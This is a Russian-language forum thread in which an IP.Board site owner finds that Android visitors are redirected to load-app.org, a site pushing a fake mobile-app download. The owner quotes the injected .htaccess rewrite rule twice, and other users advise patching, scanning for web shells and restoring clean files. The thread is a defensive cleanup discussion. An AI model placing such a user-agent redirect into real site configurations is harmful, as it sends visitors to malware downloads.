Posted 18 ноября, 20149 yr comment_74321 Сегодня при попытке зайти на сайт с мобильного телефона меня перекинуло на какой-то левый сайт с предложением скачать мобильную версию. load-app.org/m/mobile_version=ClearRu - вот адрес того левого сайта. Проверил другие форумы на своей учетки (еще 3) - и там тоже самое!! Проверил с другого мобильника - тоже самое. При этом на ПК все отлично работает, проблема с сайтом только на мобильных устройствах. Версия форумов везде 3.4.6, с момента выхода этой версии ipb ничего не обновлял, каюсь, вижу что уже 3.4.7 есть.. Подскажите как теперь действовать, как убрать этот вирус в срочном порядке. Мой сайт: jcbforum.ru ХЕЛП!!! Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/ Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74323 Зашел на сайт через телефон , все гуд, кроме того что темы не открываются там ошибка Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74323 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74324 Catalo, .htaccess проверьте. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74324 Share on other sites Больше вариантов
18 ноября, 20149 yr Author comment_74326 IandroidFan, ОГОГО как такое возможно?? RewriteEngine on RewriteCond %{HTTP_USER_AGENT} "Android" [NC] RewriteRule ^(.*)$ __load-app.org/m/?mobile_version=CleanRu [L,R=302] эта запись находилась в .htaccess Зашел на сайт через телефон , все гуд, кроме того что темы не открываются там ошибка как выяснилось только к андройду применимо... Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74326 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74329 Кто и как залес к тебе в .htaccess ? Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74329 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74330 '?do=embed' frameborder='0' data-embedContent>> ОГОГО как такое возможно??Либо не ставили патчи, либо поставили поздно. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74330 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74331 Сегодня при попытке зайти на сайт с мобильного телефона меня перекинуло на какой-то левый сайт с предложением скачать мобильную версию. load-app.org/m/mobile_version=ClearRu - вот адрес того левого сайта. Проверил другие форумы на своей учетки (еще 3) - и там тоже самое!! Проверил с другого мобильника - тоже самое. При этом на ПК все отлично работает, проблема с сайтом только на мобильных устройствах. Версия форумов везде 3.4.6, с момента выхода этой версии ipb ничего не обновлял, каюсь, вижу что уже 3.4.7 есть.. Подскажите как теперь действовать, как убрать этот вирус в срочном порядке. Мой сайт: jcbforum.ru ХЕЛП!!! Проблема с вашим смартфоном/телефоном, подобная ситуация возникала на одном из моих форумов, гвоздь ситуации был в том, что те кто использовал iPhone и смартфоны на Android попали в тоже положение что и вы. Обратился в Яндекс-поддержку, для проверки форума, ничего не обнаружили, я посоветовал пользователям форума проверить свои телефоны на наличие троянов/вирусов, оказалось, что у тех кого перекидывало по рекламной ссылке, сидел троян.. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74331 Share on other sites Больше вариантов
18 ноября, 20149 yr Author comment_74336 .htaccess исправлен на всех сайтах на учетке, где лежат форумы. Т.е. и на сайтах на других движках. Но проблему с компом исключаю, т.к. постоянно работаю с другими учетками этого же хостинга, там нет форумов ipb и там все норм. Видимо через ipb зараза проникла. Проблема с вашим смартфоном/телефоном, подобная ситуация возникала на одном из моих форумов, гвоздь ситуации был в том, что те кто использовал iPhone и смартфоны на Android попали в тоже положение что и вы. Обратился в Яндекс-поддержку, для проверки форума, ничего не обнаружили, я посоветовал пользователям форума проверить свои телефоны на наличие троянов/вирусов, оказалось, что у тех кого перекидывало по рекламной ссылке, сидел троян.. я уже выше написал в чем проблема, и она не в смартфоне. а в посторонней записи в htaccess. '?do=embed' frameborder='0' data-embedContent>> Либо не ставили патчи, либо поставили поздно. спасибо за ссылку, только там так и не написали где искать злочасный шелл.. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74336 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74337 спасибо за ссылку, только там так и не написали где искать злочасный шелл.. Можете айболитом воспользоваться. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74337 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74338 Catalo, обновись до 3.4.7 и проблемы исчезнут Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74338 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74340 Catalo, обновись до 3.4.7 и проблемы исчезнут С чего бы? Если где-то сидит файл (а может и больше одного), который добавляет/изменяет код, то обновление не поможет. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74340 Share on other sites Больше вариантов
18 ноября, 20149 yr Author comment_74342 Можете айболитом воспользоваться. в общем попробую и обновится, и айболитом воспользоваться.. как бы хуже не сделать только... у меня была уже эпопея с шелами, времен еще 3.3 версии ipb - это кошмар какой-то) потому и спрашиваю совета, может у кого инструкция есть как действовать.. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74342 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74344 С чего бы? Если где-то сидит файл (а может и больше одного), который добавляет/изменяет код, то обновление не поможет. Да, конечно, заражённые файлы придётся чистить. Я сканировал антивирем по файлам сервера, в каждом форуме был шелл, помогла чистка файлов + обновление (применение патчей) Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74344 Share on other sites Больше вариантов
18 ноября, 20149 yr comment_74347 IandroidFan, ОГОГО как такое возможно?? RewriteEngine on RewriteCond %{HTTP_USER_AGENT} "Android" [NC] RewriteRule ^(.*)$ __load-app.org/m/?mobile_version=CleanRu [L,R=302] эта запись находилась в .htaccess как выяснилось только к андройду применимо... Запроси у хостера все изменения в файлах php на сервере,например за последнюю неделю! У них такая возможность есть.Вот от этого и отталкивайся. Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74347 Share on other sites Больше вариантов
19 ноября, 20149 yr Author comment_74425 базу данных чистить не надо? с файлами разбирусь Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74425 Share on other sites Больше вариантов
19 ноября, 20149 yr comment_74426 Нет, базу трогать не нужно Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74426 Share on other sites Больше вариантов
20 ноября, 20149 yr Author comment_74475 откатил файлы дор заражения и закинул туда новые картинки. вроде все хорошо, всем спасибо. пойду обновляться Link to comment https://ipbmafia.ru/topic/9690-virus-na-sajte-proshu-pomoshi/?&do=findComment&comment=74475 Share on other sites Больше вариантов
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.